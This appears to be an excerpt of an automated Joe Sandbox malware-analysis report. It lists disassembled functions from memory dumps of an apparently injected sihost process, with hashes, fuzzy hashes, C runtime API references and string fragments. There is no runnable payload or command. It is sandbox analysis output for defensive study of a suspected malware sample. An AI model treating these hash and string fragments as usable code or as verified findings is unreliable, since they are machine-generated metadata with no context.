Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: swprintf$_vsprintf_s_l
String ID: %d&f$&sta$=%s$tus=
API String ID: 4008999296-297997764
Opcode ID: eb79a761c103a357f74d136527e11926b72cc591d65de0d80a41fe0f70382535
Instruction ID: 9a7bc187dfe8721826a1b38bfc3a625e1582a4f9bf461d53a2507c5db1e9a395
Opcode Fuzzy Hash: eb79a761c103a357f74d136527e11926b72cc591d65de0d80a41fe0f70382535
Instruction Fuzzy Hash: E0F049B222A6C4D2EB648F41F4A278AB760F798744F546126FAC90BB49CF3CC145CF60

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F7C4 Relevance: 7.6, APIs: 5, Instructions: 99COMMONLIBRARYCODE

Download Yara Rule

APIs

_ioinit.LIBCMT ref: 000000018000F814

Part of subcall function 0000000180013E8C: _calloc_crt.LIBCMT ref: 0000000180013ECA

_cinit.LIBCMT ref: 000000018000F838
_calloc_crt.LIBCMT ref: 000000018000F8C6
_initptd.LIBCMT ref: 000000018000F8EE

Part of subcall function 000000018000DA50: _errno.LIBCMT ref: 000000018000DA70

_freeptd.LIBCMT ref: 000000018000F913

Memory Dump Source

Source File: 00000002.00000002.4555064742.0000000180001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000002.00000002.4554929996.0000000180000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4555064742.000000018001F000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4557010003.0000000180020000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000000_sihost.jbxd

Similarity

API ID: _calloc_crt$_cinit_errno_freeptd_initptd_ioinit
String ID:
API String ID: 4046978593-0
Opcode ID: bc09690f0496744615d634968f29d74b86506d6c8ed104521e5da252dba0209b
Instruction ID: b992fb80410a502f5b2e7ae83c9ba8a0bd47edbbec3d405cb973f974b1b44143
Opcode Fuzzy Hash: bc09690f0496744615d634968f29d74b86506d6c8ed104521e5da252dba0209b
Instruction Fuzzy Hash: 6C413530604A0E95FBF7F76168023F93195AB5D3D4F14C139F81685AD3EE298B4DA322

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DA90 Relevance: 7.5, APIs: 5, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 000000018000DAC0
_NMSG_WRITE.LIBCMT ref: 000000018000DACA
_errno.LIBCMT ref: 000000018000DB09
_errno.LIBCMT ref: 000000018000DB14
_errno.LIBCMT ref: 000000018000DB29

Memory Dump Source

Source File: 00000002.00000002.4555064742.0000000180001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000002.00000002.4554929996.0000000180000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4555064742.000000018001F000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4557010003.0000000180020000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000000_sihost.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: e4294b8dc26757b6cce195058c1a272b0f8dfe33141afbb652682ee7ff9c0f74
Instruction ID: 8e06965a753bda26244290b78d84f4b7e0fdbbf422fa74fba58cccecec407d86
Opcode Fuzzy Hash: e4294b8dc26757b6cce195058c1a272b0f8dfe33141afbb652682ee7ff9c0f74
Instruction Fuzzy Hash: 8B112E3130468C85FAE7EBA1E8513E93290AB8D7E0F55C231BA19477C6DFA886499721

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC688C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

__crtGetStringTypeA.LIBCMT ref: 000001D63EAC6944
__crtLCMapStringA.LIBCMT ref: 000001D63EAC6977
__crtLCMapStringA.LIBCMT ref: 000001D63EAC69B0

Strings

, xrefs: 000001D63EAC6907

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: String__crt$Type
String ID:
API String ID: 3537684447-3916222277
Opcode ID: 00b07230157816d7457e59a2431af5839c5f1fafa1950682610183e973e26fdd
Instruction ID: 9a63dcb9a58951178c7953f7491de1fa7cf7127fd5dde86eafb875180a1ecd5d
Opcode Fuzzy Hash: 00b07230157816d7457e59a2431af5839c5f1fafa1950682610183e973e26fdd
Instruction Fuzzy Hash: 7D5196B27187C4AAE721CF28E4443DE7BA0F348B48F545227D78D87A86DB78C556CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E414 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__crtGetStringTypeA.LIBCMT ref: 00D1E490
__crtLCMapStringA.LIBCMT ref: 00D1E4C3
__crtLCMapStringA.LIBCMT ref: 00D1E4FC

Strings

, xrefs: 00D1E453

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: String__crt$Type
String ID:
API String ID: 3537684447-3916222277
Opcode ID: b1675e1028ea0111dd7066a927342ab75ba4fa15aecafc5341c009483ff06728
Instruction ID: 5e74b0df332e75879187308c1fe24e1fc91d92e9c97ef7d2a6472ab1a877791b
Opcode Fuzzy Hash: b1675e1028ea0111dd7066a927342ab75ba4fa15aecafc5341c009483ff06728
Instruction Fuzzy Hash: 974193736183C09BD725CF28E0843DD7BA1F349748F584226EBC947A46DB78C196CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010AA0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__crtGetStringTypeA.LIBCMT ref: 0000000180010B1C
__crtLCMapStringA.LIBCMT ref: 0000000180010B4F
__crtLCMapStringA.LIBCMT ref: 0000000180010B88

Strings

, xrefs: 0000000180010ADF

Memory Dump Source

Source File: 00000002.00000002.4555064742.0000000180001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000002.00000002.4554929996.0000000180000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4555064742.000000018001F000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4557010003.0000000180020000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000000_sihost.jbxd

Similarity

API ID: String__crt$Type
String ID:
API String ID: 3537684447-3916222277
Opcode ID: 8f68bb7980dd71aca0433eea957384850aa48f602e8aff7a361ea38f1b24a696
Instruction ID: d1ae621c5ebc0a16b59f9444f1c55a85d469e665f18b3534dd1c88be8429d082
Opcode Fuzzy Hash: 8f68bb7980dd71aca0433eea957384850aa48f602e8aff7a361ea38f1b24a696
Instruction Fuzzy Hash: 075184722187C89AE762CF28D0847DD7BA0F349788F648116E7C947A86DBB8C259CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEEE21 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EAEEE21
GetProcAddress.KERNEL32 ref: 000001D63EAFE24B

Strings

ose, xrefs: 000001D63EAEEE73
ZwCl, xrefs: 000001D63EAEEE4E

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: 525804736aed78a416b0d670e8169ecc92a6b0a8ff657a881403fa12afbe3f6d
Instruction ID: 151e8c509fc6bb4ffb14727543413e1153dd6830ed80e4f7566324b4753e51f1
Opcode Fuzzy Hash: 525804736aed78a416b0d670e8169ecc92a6b0a8ff657a881403fa12afbe3f6d
Instruction Fuzzy Hash: D101F5BA209AC1F6D7248F21A8512DD2790F3447D5F5143129E4E077D6DB34D10CD770

Uniqueness

Uniqueness Score: -1.00%

Function 00D2C381 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00D2A554: _getptd.LIBCMT ref: 00D2A561
Part of subcall function 00D2A554: _getptd.LIBCMT ref: 00D2A574

__DestructExceptionObject.LIBCMT ref: 00D2C3CE
_getptd.LIBCMT ref: 00D2C3D4
_getptd.LIBCMT ref: 00D2C3E7

Part of subcall function 00D2A5E4: _getptd.LIBCMT ref: 00D2A5ED

Strings

csm, xrefs: 00D2C3A1

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _getptd$DestructExceptionObject
String ID: csm
API String ID: 1870926281-1018135373
Opcode ID: fe95b547c302ebf119f9fb4a76ead0a46995ff7cde8eb89f8d5880eb1f04c09d
Instruction ID: 72112595fed443cc8170a115818bd8aa1b45e6e35aae03d5c2a2545dddcc84ad
Opcode Fuzzy Hash: fe95b547c302ebf119f9fb4a76ead0a46995ff7cde8eb89f8d5880eb1f04c09d
Instruction Fuzzy Hash: 23F0AF326906958ACF28EF35F8812AC3374E765B6CF48A421EA094B705EF76CCC5C361

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAD455A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 000001D63EAD28C8: _getptd.LIBCMT ref: 000001D63EAD28D5
Part of subcall function 000001D63EAD28C8: _getptd.LIBCMT ref: 000001D63EAD28E8

__DestructExceptionObject.LIBCMT ref: 000001D63EAD45A7
_getptd.LIBCMT ref: 000001D63EAD45AD
_getptd.LIBCMT ref: 000001D63EAD45C0

Part of subcall function 000001D63EAD2958: _getptd.LIBCMT ref: 000001D63EAD2961

Strings

csm, xrefs: 000001D63EAD457A

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _getptd$DestructExceptionObject
String ID: csm
API String ID: 1870926281-1018135373
Opcode ID: cbbf1092f7d38149e487a57fca1c74751cddc47b91d6299d430d042fa76f604d
Instruction ID: bb5beffcd64323ea1c5dac890ff1a831149c38d6375125fec361d1067862f85a
Opcode Fuzzy Hash: cbbf1092f7d38149e487a57fca1c74751cddc47b91d6299d430d042fa76f604d
Instruction Fuzzy Hash: E7014FB66406C199DB60AF318C623ED23A5FB85B59F441623ED1D4A647DE20D985C360

Uniqueness

Uniqueness Score: -1.00%

Function 00D11E00 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00D11E62

Part of subcall function 00D1AED8: _vsprintf_s_l.LIBCMT ref: 00D1AEF2

Strings

.%u, xrefs: 00D11E5A
u.%u, xrefs: 00D11E52
%u.%, xrefs: 00D11E4A

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _vsprintf_s_lswprintf
String ID: %u.%$.%u$u.%u
API String ID: 4270679898-121039507
Opcode ID: b42b235e8bfb1954d6f7a43da8553aa035492f9aa5f6e1beca2a401fccf83661
Instruction ID: 681de3dfb050fc1368872bf812603a099bd0cc8ec7002cd063b15a084e246efc
Opcode Fuzzy Hash: b42b235e8bfb1954d6f7a43da8553aa035492f9aa5f6e1beca2a401fccf83661
Instruction Fuzzy Hash: 17F087B22182D486C7248F55B45025AFBB0E389790F580129FBC806B58CBBCC0858F10

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC5724 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 000001D63EAC5748

Part of subcall function 000001D63EAC504C: _errno.LIBCMT ref: 000001D63EAC5055
Part of subcall function 000001D63EAC504C: _invalid_parameter_noinfo.LIBCMT ref: 000001D63EAC5060

cvtdate.LIBCMT ref: 000001D63EAC582D
cvtdate.LIBCMT ref: 000001D63EAC5931

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: cvtdate$_errno_get_daylight_invalid_parameter_noinfo
String ID:
API String ID: 563867869-0
Opcode ID: 0c4b6c32c339250196412ae801452b5a07525cab69a0cf0313bd64b27ba68bdd
Instruction ID: 1afa596dc9db6030d944e5a0d6fc624aaf62c959f60ab171f49677fd69fc88c5
Opcode Fuzzy Hash: 0c4b6c32c339250196412ae801452b5a07525cab69a0cf0313bd64b27ba68bdd
Instruction Fuzzy Hash: 4F8171B2A146D0DBEB748F05E84069AFBE1F7D4740F10621BF68982A66D779D480CF21

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAD1EB0 Relevance: 6.1, APIs: 4, Instructions: 62stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001D63EAD1ED4

Part of subcall function 000001D63EAC3C98: _getptd.LIBCMT ref: 000001D63EAC3CAE
Part of subcall function 000001D63EAC3C98: __updatetlocinfo.LIBCMT ref: 000001D63EAC3CE3
Part of subcall function 000001D63EAC3C98: __updatetmbcinfo.LIBCMT ref: 000001D63EAC3D0A

_errno.LIBCMT ref: 000001D63EAD1EE0
_invalid_parameter_noinfo.LIBCMT ref: 000001D63EAD1EEB
strchr.LIBCMT ref: 000001D63EAD1F01

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfostrchr
String ID:
API String ID: 3964660750-0
Opcode ID: 52cc11bbff9b3d6ffe61f1b00e1e1adb6bf4e28c4c5c9120198c5a56dfde5bc1
Instruction ID: 34eba7c654091fd3bf50659191be219d8df71c147606ae089c068591e5ece2fd
Opcode Fuzzy Hash: 52cc11bbff9b3d6ffe61f1b00e1e1adb6bf4e28c4c5c9120198c5a56dfde5bc1
Instruction Fuzzy Hash: C521C6FA7042E061E761561598603BF66D1FB58BD4F189367FE9E466C7CB28C4418730

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000EEDC Relevance: 6.1, APIs: 4, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000000018000EF02

Part of subcall function 000000018000DB50: _getptd.LIBCMT ref: 000000018000DB66
Part of subcall function 000000018000DB50: __updatetlocinfo.LIBCMT ref: 000000018000DB9B
Part of subcall function 000000018000DB50: __updatetmbcinfo.LIBCMT ref: 000000018000DBC2

_errno.LIBCMT ref: 000000018000EF0C
_invalid_parameter_noinfo.LIBCMT ref: 000000018000EF17
strrchr.LIBCMT ref: 000000018000EF2E

Memory Dump Source

Source File: 00000002.00000002.4555064742.0000000180001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000002.00000002.4554929996.0000000180000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4555064742.000000018001F000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4557010003.0000000180020000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000000_sihost.jbxd

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfostrrchr
String ID:
API String ID: 3749755062-0
Opcode ID: fa566e0a253898859362b450892317aae428c56d8bb9f22238abe22cabd9d68d
Instruction ID: 2ad306ce5a92f6c4077af6c0d327eb428e1c6cafded8ee6a3d6a5460929f472f
Opcode Fuzzy Hash: fa566e0a253898859362b450892317aae428c56d8bb9f22238abe22cabd9d68d
Instruction Fuzzy Hash: 6911A1322186C981FBA6D61591503F97691A78ABD4F18C132FA9A27BC8CE28CA4DC741

Uniqueness

Uniqueness Score: -1.00%

Function 00D2BDA0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

_CxxThrowException.LIBCMT ref: 00D2BDBA
_CxxThrowException.LIBCMT ref: 00D2BDDA
_CxxThrowException.LIBCMT ref: 00D2BDFA
std::_Xbad_alloc.LIBCPMT ref: 00D2BE3B

Part of subcall function 00D27574: _CxxThrowException.LIBCMT ref: 00D275B1

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: ExceptionThrow$Xbad_allocstd::_
String ID:
API String ID: 334528482-0
Opcode ID: 6a7801995d0eb5cf8c69d0ed873b57089992b5213f797d6314ff53fee42714f0
Instruction ID: c5d220070628a89ed9a10326ba24d0ecd6c8d8b4a6138b221123d7e3131306f8
Opcode Fuzzy Hash: 6a7801995d0eb5cf8c69d0ed873b57089992b5213f797d6314ff53fee42714f0
Instruction Fuzzy Hash: 2F01DF22610B50AAD728FB71B8520FA2365EB947B4F089636BBAD4A655DF34C4918270

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC3EF0 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_NMSG_WRITE.LIBCMT ref: 000001D63EAC3F2A
_errno.LIBCMT ref: 000001D63EAC3F69
_errno.LIBCMT ref: 000001D63EAC3F74
_errno.LIBCMT ref: 000001D63EAC3F89

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 5c8e379cfbc0df47a53fe310ee0123e613520cf20ddb0680ee2b7b1474f5d93d
Instruction ID: 144548f3a8625dc6d6e2180351e42c4b371fbdc3f3e7a15d84670fe1e31a242a
Opcode Fuzzy Hash: 5c8e379cfbc0df47a53fe310ee0123e613520cf20ddb0680ee2b7b1474f5d93d
Instruction Fuzzy Hash: D21177F1B016C0A5FA557B61AC413E966E0BB84790F045762B96E8B3C3CE3C944587B1

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EACE3E3 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001D63EACE414
_errno.LIBCMT ref: 000001D63EACE41F

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: b70ea8e769ae24a8c18b050060439134f743040dfc3dff444dc3aa588efd240f
Instruction ID: 43ea4d028136c7eec2a98d11a69ac20e0e95e519c93a9ea49eac2b125b7c1c47
Opcode Fuzzy Hash: b70ea8e769ae24a8c18b050060439134f743040dfc3dff444dc3aa588efd240f
Instruction Fuzzy Hash: 7711C8B2B057C0A6FB636E54AA443FC66A0BB40B50F5583339A5D87BC7DA29C8428771

Uniqueness

Uniqueness Score: -1.00%

Function 00D1D9F4 Relevance: 6.0, APIs: 4, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FAF4
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB12
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB30
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB4E
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB6C
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FB8A
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FBA8
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FBC6
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FBE4
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC02
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC20
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC3E
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC5C
Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC7A
